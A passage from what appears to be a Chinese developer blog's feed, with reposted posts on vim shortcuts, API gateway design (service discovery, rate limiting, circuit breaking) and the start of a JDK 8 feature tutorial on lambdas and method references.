class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`ctrl + ww` 切换窗口 +`ctrl + w &lt;h|j|k|l&gt;`切换到这个方向的窗口 + +`R` 可以临时进入替换一直更改 + +`w` 下个单词头 +`b` 上个单词头 +`e` 这个单词尾 + +`v + w/b/e/h/j/k/l/$/0` 选择 +`y/p` 复制/粘贴 +`x/d` 删除/剪切 +</code></pre></div></div> +<h2 id="vscodevim对比">vscode&amp;vim对比</h2> + +<table> + <thead> + <tr> + <th>快捷命令</th> + <th>vscode</th> + <th>vim</th> + </tr> + </thead> + <tbody> + <tr> + <td>上下复制</td> + <td>Alt+shift+上/下</td> + <td>yyp/P</td> + </tr> + <tr> + <td>上下新建行</td> + <td>ctrl+(shift)+enter</td> + <td>o/O</td> + </tr> + <tr> + <td>选中一个单词</td> + <td>ctrl + d</td> + <td>viw</td> + </tr> + <tr> + <td>系统剪切板</td> + <td>ctrl+c/v</td> + <td>”+</td> + </tr> + <tr> + <td>删除当前行</td> + <td>ctrl+shift+k</td> + <td>dd</td> + </tr> + <tr> + <td>跨越单词</td> + <td>ctrl + 左右</td> + <td>web</td> + </tr> + </tbody> +</table> + +<p>gd - Go to definition, 跳转到定义。 +gb - 找出与光标下相同的下一个单词, 并添加一个光标 ,接下来就可以同时修改。 +af - VISUAL 模式命令, 依据语法分析, 将选择区域向外扩展。 +gh - 等同于将鼠标移至光标所在单词, 方便查看定义以及报错。</p> + +<h2 id="insert插入模式下删除前一个">insert插入模式下:删除前一个</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`ctrl+h` 字符 +`ctrl+w` 单词 +`ctrl+u` 一行 +</code></pre></div></div> +<h2 id="surround-模式">Surround 模式</h2> + +<p><a href="https://github.com/tpope/vim-surround">https://github.com/tpope/vim-surround</a> +Normal mode</p> + +<hr /> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ds - delete a surrounding +cs - change a surrounding +ys - add a surrounding +yS - add a surrounding and place the surrounded text on a new line + indent it +yss - add a surrounding to the whole line +ySs - add a surrounding to the whole line, place it on a new line + indent it +ySS - same as ySs +</code></pre></div></div> +<h2 id="visual-mode">Visual mode</h2> + +<p>s - in visual mode, add a surrounding</p> + +<p>S - in visual mode, add a surrounding but place text on new line + indent it</p> + +<h2 id="insert-mode">Insert mode</h2> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;CTRL-s&gt;` - in insert mode, add a surrounding +`&lt;CTRL-s&gt;&lt;CTRL-s&gt;` - in insert mode, add a new line + surrounding + indent +`&lt;CTRL-g&gt;`s - same as`&lt;CTRL-s&gt; +</code></pre></div></div> + +<h2 id="ci">ci</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`cis` 改变句子 +重要命令 +`y` yank 提起 +`p` paster 粘贴 +`a` append 追加 +`i` insert 插入 +`s` substitute 替换 + +Append,Insert,Replace,Subsitute +AIRS +小写表示characterwise(字符) +linewise(行) + +`5yl` 复制光标后的5个字符(包括光标所在的那个字符) +`5yh` 复制光标前的五个字符(不包括光标所在的那个字符) +`5dl` 删除光标后的5个字符(包括光标所在的那个字符) +`5dh` 删除光标前的5个字符(不包括光标所在的那个字符) + +例如执行命令(:键),搜索(/和?键)或者过滤命令(!键)。在命令 + +输入插入命令i、附加命令a、打开命令o、修改命令c、取代命令r或替换命令s都可以进入文本输入模式。 +&lt;http://c.biancheng.net/view/519.html&gt; + +S:删除光标所在行并开始插入 +s:删除光标所在的字符并开始插入 +==排版 +</code></pre></div></div> +<h2 id="替换">替换</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:s/old/new #替换当前行的第一个old为new +:s/old/new/g #替换当前行的所有的old为new +:.,![s/old/new #替换当前行到最后行的第一个old为new :.,](https://math.jianshu.com/math?formula=s%2Fold%2Fnew%20%23%E6%9B%BF%E6%8D%A2%E5%BD%93%E5%89%8D%E8%A1%8C%E5%88%B0%E6%9C%80%E5%90%8E%E8%A1%8C%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AAold%E4%B8%BAnew%20%3A.%2C)s/old/new/g #替换当前行到最后行的所有old为new +:N,Ms/old/new #替换第N行到第M行的第一个old为new +:N,Ms/old/new/g #替换第N行到第M行的所有old为new +:N,Ms/old/new/gc #替换第N行到第M行的所有old为new,且逐一询问是否删除 +:%s/old/new #替换所有行的第一个old为new +:%s/old/new/g #替换所有行的所有old为new +</code></pre></div></div> +<h2 id="光标移动">光标移动</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; 形式:Ctrl + cmd + +b 向上移动一屏 +f 向下移动一屏 +e 向上滚动一行 +y 向下滚动一行 + +&gt; 形式:cmd + +H 当前屏幕顶 high +M 中 middl +L 低 low + +&gt; 形式:Num% +&gt; 移动到文档在百分之Num +</code></pre></div></div> +<h2 id="屏幕移动">屏幕移动</h2> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zz 光标所在行移动到屏幕 中 +zt 顶 +zb 低 + +&gt; 形式:Ctrl + cmd + +u 向上移动半屏 +d 向下移动半屏 +</code></pre></div></div> +<h2 id="fftt-find-to">f/F/t/T: (find) (to)</h2> + +<blockquote> + <p>形式:Num f Char</p> +</blockquote> + +<p>f移动到该字符 +t移动到该字符前 +;重复执行命令</p> + +<p>在插入模式下ctrl + o 临时进入命令模式 +url: +<a href="http://www.cnblogs.com/moiyer/archive/2010/04/01/1952681.html">http://www.cnblogs.com/moiyer/archive/2010/04/01/1952681.html</a></p> + +<p>vim normal模式下</p> + +<p>1、c+i+分隔符,删除分隔符里面的内容(不删除分隔符,c+a+分隔符则包括分隔符一起删掉)</p> + +<p>如将光标位于’%s : %d years old ‘ 中,此时按c+i+’ ?则可以将’%s : %d years old ‘ 变为’ ‘</p> + +<p>vickey-wu = ‘vickey-wu’ +例句:print ‘%s : %d years old ‘ % (vickey-wu,23) +结果:print ‘’</p> + +<p>我个人记的方法c:change,i:ignore,a:all +2、y+i+分隔符,y在vim是复制,与上面的同理,表示复制分隔符里面的内容(不复制分隔符,y+a+分隔符则包括分隔符一起复制)</p> + +<p><a href="https://www.jianshu.com/p/41c759d543b7">https://www.jianshu.com/p/41c759d543b7</a> +进阶 +<a href="https://www.jianshu.com/p/cbfa86c8d8a5">https://www.jianshu.com/p/cbfa86c8d8a5</a></p> + +<p>gp,和p的功能基本一致,只是粘贴完,它会把光标移动至粘贴内容之后;gP同理</p> + +<p><a href="https://www.cnblogs.com/yangjig/p/6014198.html">https://www.cnblogs.com/yangjig/p/6014198.html</a></p> + +<p><br /> +<br /> +作者:大短人<br /> +链接:https://www.jianshu.com/p/9caf97de4905<br /> +<strong>版权归作者所有,转载请注明出处</strong></p> + +<hr /> + + Wed, 09 Oct 2019 00:00:00 +0800 + http://www.jiangxinlingdu.com/linux/2019/10/09/vim.html + http://www.jiangxinlingdu.com/linux/2019/10/09/vim.html + + linux + + + linux + + + + + API 网关从入门到放弃 + <h2 id="前言"><strong>前言</strong></h2> + +<p>假设你正在开发一个电商网站,那么这里会涉及到很多后端的微服务,比如会员、商品、推荐服务等等。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190912640.jpg" alt="" /></p> + +<p>那么这里就会遇到一个问题,APP/Browser怎么去访问这些后端的服务? 如果业务比较简单的话,可以给每个业务都分配一个独立的域名(https://service.api.company.com),但这种方式会有几个问题:</p> + +<ul> + <li>每个业务都会需要鉴权、限流、权限校验等逻辑,如果每个业务都各自为战,自己造轮子实现一遍,会很蛋疼,完全可以抽出来,放到一个统一的地方去做。</li> + <li>如果业务量比较简单的话,这种方式前期不会有什么问题,但随着业务越来越复杂,比如淘宝、亚马逊打开一个页面可能会涉及到数百个微服务协同工作,如果每一个微服务都分配一个域名的话,一方面客户端代码会很难维护,涉及到数百个域名,另一方面是连接数的瓶颈,想象一下你打开一个APP,通过抓包发现涉及到了数百个远程调用,这在移动端下会显得非常低效。</li> + <li>每上线一个新的服务,都需要运维参与,申请域名、配置Nginx等,当上线、下线服务器时,同样也需要运维参与,另外采用域名这种方式,对于环境的隔离也不太友好,调用者需要自己根据域名自己进行判断。</li> + <li>另外还有一个问题,后端每个微服务可能是由不同语言编写的、采用了不同的协议,比如HTTP、Dubbo、GRPC等,但是你不可能要求客户端去适配这么多种协议,这是一项非常有挑战的工作,项目会变的非常复杂且很难维护。</li> + <li>后期如果需要对微服务进行重构的话,也会变的非常麻烦,需要客户端配合你一起进行改造,比如商品服务,随着业务变的越来越复杂,后期需要进行拆分成多个微服务,这个时候对外提供的服务也需要拆分成多个,同时需要客户端配合你进行改造,非常蛋疼。</li> +</ul> + +<h2 id="api-gateway"><strong>API Gateway</strong></h2> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190912808.jpg" alt="" /></p> + +<p>更好的方式是采用API网关,实现一个API网关接管所有的入口流量,类似Nginx的作用,将所有用户的请求转发给后端的服务器,但网关做的不仅仅只是简单的转发,也会针对流量做一些扩展,比如鉴权、限流、权限、熔断、协议转换、错误码统一、缓存、日志、监控、告警等,这样将通用的逻辑抽出来,由网关统一去做,业务方也能够更专注于业务逻辑,提升迭代的效率。</p> + +<p>通过引入API网关,客户端只需要与API网关交互,而不用与各个业务方的接口分别通讯,但多引入一个组件就多引入了一个潜在的故障点,因此要实现一个高性能、稳定的网关,也会涉及到很多点。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190912938.jpg" alt="" /></p> + +<h2 id="api注册"><strong>API注册</strong></h2> + +<p>业务方如何接入网关?一般来说有几种方式。</p> + +<ul> + <li>第一种采用插件扫描业务方的API,比如Spring MVC的注解,并结合Swagger的注解,从而实现参数校验、文档&amp;&amp;SDK生成等功能,扫描完成之后,需要上报到网关的存储服务。</li> + <li>手动录入。比如接口的路径、请求参数、响应参数、调用方式等信息,但这种方式相对来说会麻烦一些,如果参数过多的话,前期录入会很费时费力。</li> +</ul> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190912592.jpg" alt="" /></p> + +<ul> + <li>配置文件导入。比如通过Swagger\OpenAPI等,比如阿里云的网关:</li> +</ul> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190912174.jpg" alt="" /></p> + +<h2 id="协议转换"><strong>协议转换</strong></h2> + +<p>内部的API可能是由很多种不同的协议实现的,比如HTTP、Dubbo、GRPC等,但对于用户来说其中很多都不是很友好,或者根本没法对外暴露,比如Dubbo服务,因此需要在网关层做一次协议转换,将用户的HTTP协议请求,在网关层转换成底层对应的协议,比如HTTP -&gt; Dubbo, 但这里需要注意很多问题,比如参数类型,如果类型搞错了,导致转换出问题,而日志又不够详细的话,问题会很难定位。</p> + +<h2 id="服务发现"><strong>服务发现</strong></h2> + +<p>网关作为流量的入口,负责请求的转发,但首先需要知道转发给谁,如何寻址,这里有几种方式:</p> + +<ul> + <li>写死在代码/配置文件里,这种方式虽然比较挫,但也能使用,比如线上仍然使用的是物理机,IP变动不会很频繁,但扩缩容、包括应用上下线都会很麻烦,网关自身甚至需要实现一套健康监测机制。</li> + <li>域名。采用域名也是一种不错的方案,对于所有的语言都适用,但对于内部的服务,走域名会很低效,另外环境隔离也不太友好,比如预发、线上通常是同一个数据库,因此网关读取到的可能是同一个域名,这时候预发的网关调用的就是线上的服务。</li> + <li>注册中心。采用注册中心就不会有上述的这些问题,即使是在容器环境下,节点的IP变更比较频繁,但节点列表的实时维护会由注册中心搞定,对网关是透明的,另外应用的正常上下线、包括异常宕机等情况,也会由注册中心的健康检查机制检测到,并实时反馈给网关。并且采用注册中心性能也没有额外的性能损耗,采用域名的方式,额外需要走一次DNS解析、Nginx转发等,中间多了很多跳,性能会有很大的下降,但采用注册中心,网关是和业务方直接点对点的通讯,不会有额外的损耗。</li> +</ul> + +<h2 id="服务调用"><strong>服务调用</strong></h2> + +<p>网关由于对接很多种不同的协议,因此可能需要实现很多种调用方式,比如HTTP、Dubbo等,基于性能原因,最好都采用异步的方式,而Http、Dubbo都是支持异步的,比如apache就提供了基于NIO实现的异步HTTP客户端。</p> + +<p>因为网关会涉及到很多异步调用,比如拦截器、HTTP客户端、dubbo、redis等,因此需要考虑下异步调用的方式,如果基于回调或者future的话,代码嵌套会很深,可读性很差,可以参考zuul和spring cloud gateway的方案,基于响应式进行改造。</p> + +<h2 id="优雅下线"><strong>优雅下线</strong></h2> + +<p>优雅下线也是网关需要关注的一个问题,网关底层会涉及到很多种协议,比如HTTP、Dubbo,而HTTP又可以继续细分,比如域名、注册中心等,有些自身就支持优雅下线,比如Nginx自身是支持健康监测机制的,如果检测到某一个节点已经挂掉了,就会把这个节点摘掉,对于应用正常下线,需要结合发布系统,首先进行逻辑下线,然后对后续Nginx的健康监测请求直接返回失败(比如直接返回500),然后等待一段时间(根据Nginx配置决定),然后再将应用实际下线掉。另外对于注册中心的其实也类似,一般注册中心是只支持手动下线的,可以在逻辑下线阶段调用注册中心的接口将节点下线掉,而有些不支持主动下线的,需要结合缓存的配置,让应用延迟下线。另外对于其他比如Dubbo等原理也是类似。</p> + +<h2 id="性能"><strong>性能</strong></h2> + +<p>网关作为所有流量的入口,性能是重中之重,早期大部分网关都是基于同步阻塞模型构建的,比如Zuul 1.x。但这种同步的模型我们都知道,每个请求/连接都会占用一个线程,而线程在JVM中是一个很重的资源,比如Tomcat默认就是200个线程,如果网关隔离没有做好的话,当发生网络延迟、FullGC、第三方服务慢等情况造成上游服务延迟时,线程池很容易会被打满,造成新的请求被拒绝,但这个时候其实线程都阻塞在IO上,系统的资源被没有得到充分的利用。另外一点,容易受网络、磁盘IO等延迟影响。需要谨慎设置超时时间,如果设置不当,且服务隔离做的不是很完善的话,网关很容易被一个慢接口拖垮。</p> + +<p>而异步化的方式则完全不同,通常情况下一个CPU核启动一个线程即可处理所有的请求、响应。一个请求的生命周期不再固定于一个线程,而是会分成不同的阶段交由不同的线程池处理,系统的资源能够得到更充分的利用。而且因为线程不再被某一个连接独占,一个连接所占用的系统资源也会低得多,只是一个文件描述符加上几个监听器等,而在阻塞模型中,每条连接都会独占一个线程,而线程是一个非常重的资源。对于上游服务的延迟情况,也能够得到很大的缓解,因为在阻塞模型中,慢请求会独占一个线程资源,而异步化之后,因为单条连接所占用的资源变的非常低,系统可以同时处理大量的请求。</p> + +<p>如果是JVM平台,Zuul 2、Spring Cloud gateway等都是不错的异步网关选型,另外也可以基于Netty、Spring Boot2.x的webflux、vert.x或者servlet3.1的异步支持进行自研。</p> + +<h2 id="缓存"><strong>缓存</strong></h2> + +<p>对于一些幂等的get请求,可以在网关层面根据业务方指定的缓存头做一层缓存,存储到Redis等二级缓存中,这样一些重复的请求,可以在网关层直接处理,而不用打到业务线,降低业务方的压力,另外如果业务方节点挂掉,网关也能够返回自身的缓存。</p> + +<h2 id="限流"><strong>限流</strong></h2> + +<p>限流对于每个业务组件来说,可以说都是一个必须的组件,如果限流做不好的话,当请求量突增时,很容易导致业务方的服务挂掉,比如双11、双12等大促时,接口的请求量是平时的数倍,如果没有评估好容量,又没有做限流的话,很容易服务整个不可用,因此需要根据业务方接口的处理能力,做好限流策略,相信大家都见过淘宝、百度抢红包时的降级页面。</p> + +<p>因此一定要在接入层做好限流策略,对于非核心接口可以直接将降级掉,保障核心服务的可用性,对于核心接口,需要根据压测时得到的接口容量,制定对应的限流策略。限流又分为几种:</p> + +<ul> + <li>单机。单机性能比较高,不涉及远程调用,只是本地计数,对接口RT影响最小。但需要考虑下限流数的设置,比如是针对单台网关、还是整个网关集群,如果是整个集群的话,需要考虑到网关缩容、扩容时修改对应的限流数。</li> + <li>分布式。分布式的就需要一个存储节点维护当前接口的调用数,比如redis、sentinel等,这种方式由于涉及到远程调用,会有些性能损耗,另外也需要考虑到存储挂掉的问题,比如redis如果挂掉,网关需要考虑降级方案,是降级到本地限流,还是直接将限流功能本身降级掉。</li> +</ul> + +<p>另外还有不同的策略:简单计数、令牌桶等,大部分场景下其实简单计数已经够用了,但如果需要支持突发流量等场景时,可以采用令牌桶等方案。还需要考虑根据什么限流,比如是IP、接口、用户维度、还是请求参数中的某些值,这里可以采用表达式,相对比较灵活。</p> + +<h2 id="稳定性"><strong>稳定性</strong></h2> + +<p>稳定性是网关非常重要的一环,监控、告警需要做的很完善才可以,比如接口调用量、响应时间、异常、错误码、成功率等相关的监控告警,还有线程池相关的一些,比如活跃线程数、队列积压等,还有些系统层面的,比如CPU、内存、FullGC这些基本的。</p> + +<p>网关是所有服务的入口,对于网关的稳定性的要求相对于其他服务会更高,最好能够一直稳定的运行,尽量少重启,但当新增功能、或者加日志排查问题时,不可避免的需要重新发布,因此可以参考zuul的方式,将所有的核心功能都基于不同的拦截器实现,拦截器的代码采用Groovy编写,存储到数据库中,支持动态加载、编译、运行,这样在出了问题的时候能够第一时间定位并解决,并且如果网关需要开发新功能,只需要增加新的拦截器,并动态添加到网关即可,不需要重新发布。</p> + +<h2 id="熔断降级"><strong>熔断降级</strong></h2> + +<p>熔断机制也是非常重要的一项。若某一个服务挂掉、接口响应严重超时等发生,则可能整个网关都被一个接口拖垮,因此需要增加熔断降级,当发生特定异常的时候,对接口降级由网关直接返回,可以基于Hystrix或者Resilience4j实现。</p> + +<h2 id="日志"><strong>日志</strong></h2> + +<p>由于所有的请求都是由网关处理的,因此日志也需要相对比较完善,比如接口的耗时、请求方式、请求IP、请求参数、响应参数(注意脱敏)等,另外由于可能涉及到很多微服务,因此需要提供一个统一的traceId方便关联所有的日志,可以将这个traceId置于响应头中,方便排查问题。</p> + +<h2 id="隔离"><strong>隔离</strong></h2> + +<p>比如线程池、http连接池、redis等应用层面的隔离,另外也可以根据业务场景,将核心业务部署带单独的网关集群,与其他非核心业务隔离开。</p> + +<h2 id="网关管控平台"><strong>网关管控平台</strong></h2> + +<p>这块也是非常重要的一环,需要考虑好整个流程的用户体验,比如接入到网关的这个流程,能不能尽量简化、智能,比如如果是dubbo接口,我们可以通过到git仓库中获取源码、解析对应的类、方法,从而实现自动填充,尽量帮用户减少操作;另外接口一般是从测试-&gt;预发-&gt;线上,如果每次都要填写一遍表单会非常麻烦,我们能不能自动把这个事情做掉,另外如果网关部署到了多个可用区、甚至不同的国家,那这个时候,我们还需要接口数据同步功能,不然用户需要到每个后台都操作一遍,非常麻烦。</p> + +<p>这块个人的建议是直接参考阿里云、aws等提供的网关服务即可,功能非常全面。</p> + +<h2 id="其他"><strong>其他</strong></h2> + +<p>其他还有些需要考虑到的点,比如接口mock,文档生成、sdk代码生成、错误码统一、服务治理相关的等,这里就不累述了。</p> + +<h2 id="总结"><strong>总结</strong></h2> + +<p>目前的网关还是中心化的架构,所有的请求都需要走一次网关,因此当大促或者流量突增时,网关可能会成为性能的瓶颈,而且当网关接入的大量接口的时候,做好流量评估也不是一项容易的工作,每次大促前都需要跟业务方一起针对接口做压测,评估出大致的容量,并对网关进行扩容,而且网关是所有流量的入口,所有的请求都是由网关处理,要想准确的评估出容量很复杂。可以参考目前比较流行的ServiceMesh,采用去中心化的方案,将网关的逻辑下沉到sidecar中,sidecar和应用部署到同一个节点,并接管应用流入、流出的流量,这样大促时,只需要对相关的业务压测,并针对性扩容即可,另外升级也会更平滑,中心化的网关,即使灰度发布,但是理论上所有业务方的流量都会流入到新版本的网关,如果出了问题,会影响到所有的业务,但这种去中心化的方式,可以先针对非核心业务升级,观察一段时间没问题后,再全量推上线。另外ServiceMesh的方案,对于多语言支持也更友好。</p> + +<p><br /> +<br /> +作者:aCoder2013<br /> +链接:github.com/aCoder2013/blog/issues/35<br /> +<strong>版权归作者所有,转载请注明出处</strong></p> + +<hr /> + + Thu, 12 Sep 2019 00:00:00 +0800 + http://www.jiangxinlingdu.com/thought/2019/09/12/gateway.html + http://www.jiangxinlingdu.com/thought/2019/09/12/gateway.html + + thought + + + thought + + + + + jdk13快来了,jdk8的这几点应该看看! + <h2 id="说明">说明</h2> + +<p>jdk8虽然出现很久了,但是可能我们还是有很多人并不太熟悉,本文主要就是介绍说明一些jdk8相关的内容。</p> + +<p><strong>主要会讲解:</strong></p> + +<ul> + <li>lambda表达式</li> + <li>方法引用</li> + <li>默认方法</li> + <li>Stream</li> + <li>用Optional取代null</li> + <li>新的日志和时间</li> + <li>CompletableFuture</li> + <li>去除了永久代(PermGen) 被元空间(Metaspace)代替</li> +</ul> + +<p><strong>我们来看看阿里规范里面涉及到jdk8相关内容:</strong></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830506059.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830565392.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830589386.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830622842.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830643706.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830674564.png" alt="" /></p> + +<h2 id="jdk8开篇">jdk8开篇</h2> + +<p>https://www.oracle.com/technetwork/java/javase/8-whats-new-2157071.html</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830807208.png" alt="" /></p> + +<p><strong>主要有:</strong></p> + +<p>1:lambda表达式:一种新的语言特性,能够把函数作为方法的参数或将代码作为数据。lambda表达式使你在表示函数接口(具有单个方法的接口)的实例更加紧凑。</p> + +<p>2:方法引用 是lambda表达式的一个简化写法,所引用的方法其实是lambda表达式的方法体实现,这样使代码更容易阅读</p> + +<p>3:默认方法:Java 8引入default method,或者叫virtual extension method,目的是为了让接口可以事后添加新方法而无需强迫所有实现该接口的类都提供新方法的实现。也就是说它的主要使用场景可能会涉及代码演进。</p> + +<p>4: Stream 不是 集合元素,也不是数据结构,它相当于一个 高级版本的 Iterator,不可以重复遍历里面的数据,像水一样,流过了就一去不复返。它和普通的 Iterator 不同的是,它可以并行遍历,普通的 Iterator 只能是串行,在一个线程中执行。操作包括:中间操作 和 最终操作(只能操作一遍) 串行流操作在一个线程中依次完成。并行流在多个线程中完成,主要利用了 JDK7 的 Fork/Join 框架来拆分任务和加速处理。相比串行流,并行流可以很大程度提高程序的效率</p> + +<p>5:用Optional取代null</p> + +<p>6:新的日志和时间,可以使用Instant代替Date LocalDateTime代替Calendar DateTimeFormatter代替SimpleDateFormat</p> + +<p>7:CompletableFuture:CompletableFuture提供了非常强大的Future的扩展功能,可以帮助我们简化异步编程的复杂性,并且提供了函数式编程的能力,可以通过回调的方式处理计算结果,也提供了转换和组合 CompletableFuture 的方法。</p> + +<p>8:去除了永久代(PermGen) 被元空间(Metaspace)代替 配置:-XX:MetaspaceSize=8m -XX:MaxMetaspaceSize=80m 代替 -XX:PermSize=10m -XX:MaxPermSize=10m</p> + +<h2 id="lambda">lambda</h2> +<p><strong>JDK8最大的特性应该非lambda莫属!</strong></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830574844.png" alt="" /></p> + +<p>IDEA工具自动提示:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830869831.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830628675.png" alt="" /></p> + +<p><strong>lambda语法结构 :</strong> +完整的Lambda表达式由三部分组成:参数列表、箭头、声明语句;</p> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(Type1 param1, Type2 param2, ..., TypeN paramN) -&gt; { statment1; statment2; //............. return statmentM;} +</code></pre></div></div> +<p>绝大多数情况,编译器都可以从上下文环境中推断出lambda表达式的参数类型,所以参数可以省略:</p> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(param1,param2, ..., paramN) -&gt; { statment1; statment2; //............. return statmentM;} +</code></pre></div></div> +<p>当lambda表达式的参数个数只有一个,可以省略小括号:</p> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>param1 -&gt; { statment1; statment2; //............. return statmentM;} +</code></pre></div></div> +<p>当lambda表达式只包含一条语句时,可以省略大括号、return和语句结尾的分号:</p> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>param1 -&gt; statment +</code></pre></div></div> + +<p><strong>在那里以及如何使用Lambda????</strong></p> + +<p>你可以在函数式接口上面使用Lambda表达式。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830961723.png" alt="" /></p> + +<blockquote> + <p><strong>备注:</strong> JDK定义了很多现在的函数接口,实际自己也可以定义接口去做为表达式的返回,只是大多数情况下JDK定义的直接拿来就可以用了。</p> +</blockquote> + +<p>Java SE 7中已经存在的函数式接口:</p> + +<ul> + <li><a href="http://download.oracle.com/javase/7/docs/api/java/lang/Runnable.html">java.lang.Runnable</a></li> + <li><a href="http://download.oracle.com/javase/7/docs/api/java/util/concurrent/Callable.html">java.util.concurrent.Callable</a></li> + <li><a href="http://download.oracle.com/javase/7/docs/api/java/security/PrivilegedAction.html">java.security.PrivilegedAction</a></li> + <li><a href="http://download.oracle.com/javase/7/docs/api/java/util/Comparator.html">java.util.Comparator</a></li> + <li><a href="https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/Callable.html">java.util.concurrent.Callable</a></li> + <li><a href="http://download.oracle.com/javase/7/docs/api/java/io/FileFilter.html">java.io.FileFilter</a></li> + <li><a href="http://www.fxfrog.com/docs_www/api/java/beans/PropertyChangeListener.html">java.beans.PropertyChangeListener</a></li> +</ul> + +<p>除此之外,Java SE 8中增加了一个新的包:<code class="highlighter-rouge">java.util.function</code>,它里面包含了常用的函数式接口,例如:</p> + +<ul> + <li><code class="highlighter-rouge">Predicate&lt;T&gt;</code>——接收<code class="highlighter-rouge">T</code>对象并返回<code class="highlighter-rouge">boolean</code></li> + <li><code class="highlighter-rouge">Consumer&lt;T&gt;</code>——接收<code class="highlighter-rouge">T</code>对象,不返回值</li> + <li><code class="highlighter-rouge">Function&lt;T, R&gt;</code>——接收<code class="highlighter-rouge">T</code>对象,返回<code class="highlighter-rouge">R</code>对象</li> + <li><code class="highlighter-rouge">Supplier&lt;T&gt;</code>——提供<code class="highlighter-rouge">T</code>对象(例如工厂),不接收值</li> +</ul> + +<p><strong>随便看几个:</strong></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830049556.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830090348.png" alt="" /></p> + +<h3 id="默认方法">默认方法</h3> + +<p>Java 8 引入了新的语言特性——默认方法(Default Methods)。</p> + +<blockquote> + <p><a href="http://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html">Default methods</a> enable new functionality to be added to the interfaces of libraries and ensure binary compatibility with code written for older versions of those interfaces.</p> + + <p>默认方法允许您添加新的功能到现有库的接口中,并能确保与采用旧版本接口编写的代码的二进制兼容性。</p> +</blockquote> + +<p>默认方法是在接口中的方法签名前加上了 <strong><code class="highlighter-rouge">default</code></strong> 关键字的实现方法。</p> + +<p><strong>为什么要有默认方法</strong></p> + +<p>在 java 8 之前,接口与其实现类之间的 耦合度 太高了(tightly coupled),当需要为一个接口添加方法时,所有的实现类都必须随之修改。默认方法解决了这个问题,它可以为接口添加新的方法,而不会破坏已有的接口的实现。这在 lambda 表达式作为 java 8 语言的重要特性而出现之际,为升级旧接口且保持向后兼容(backward compatibility)提供了途径。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830495204.png" alt="" /></p> + +<p>这个 <code class="highlighter-rouge">forEach</code> 方法是 jdk 1.8 新增的接口默认方法,正是因为有了默认方法的引入,才不会因为 <code class="highlighter-rouge">Iterable</code> 接口中添加了 <code class="highlighter-rouge">forEach</code> 方法就需要修改所有 <code class="highlighter-rouge">Iterable</code> 接口的实现类。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830575036.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830868103.png" alt="" /></p> + +<h3 id="方法引用method-references">方法引用(Method references)</h3> + +<p>如果一个Lambda表达式仅仅是调用方法的情况,那么就可以用方法引用来完成,这种情况下使用方法引用代码更易读。</p> + +<p><strong>方法引用语法:</strong></p> + +<p>目标引用放在分隔符::前,方法的名称放在后面。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830148916.png" alt="" /></p> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>names2.forEach(System.out::println);//1 +names2.forEach(s-&gt;System.out.println(s));//2 +</code></pre></div></div> + +<p>第二行代码的lambda表达式仅仅就是调用方法,调用的System.out的println方法,所以可以用方法引用写成System.out::println即可。</p> + +<h4 id="方法引用的种类kinds-of-method-references">方法引用的种类(Kinds of method references)</h4> + +<p>方法引用有很多种,它们的语法如下:</p> + +<ul> + <li>静态方法引用:<code class="highlighter-rouge">ClassName::methodName</code></li> + <li>实例上的实例方法引用:<code class="highlighter-rouge">instanceReference::methodName</code></li> + <li>父类的实例方法引用:<code class="highlighter-rouge">super::methodName</code></li> + <li>类型上的实例方法引用:<code class="highlighter-rouge">ClassName::methodName</code> + <blockquote> + <p><strong>备注:</strong>String::toString 等价于lambda表达式 (s) -&gt; s.toString() +这里不太容易理解,实例方法要通过对象来调用,方法引用对应Lambda,Lambda的第一个参数会成为调用实例方法的对象。</p> + </blockquote> + </li> + <li>构造方法引用:<code class="highlighter-rouge">Class::new</code></li> + <li>数组构造方法引用:<code class="highlighter-rouge">TypeName[]::new</code></li> +</ul> + +<p><strong>个人理解:方法引用,说白了,用更好,不用也可以,如果可以尽量用!!!</strong></p> + +<h2 id="stream">Stream</h2> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830827664.png" alt="" /></p> + +<p>Java 8 中的 Stream 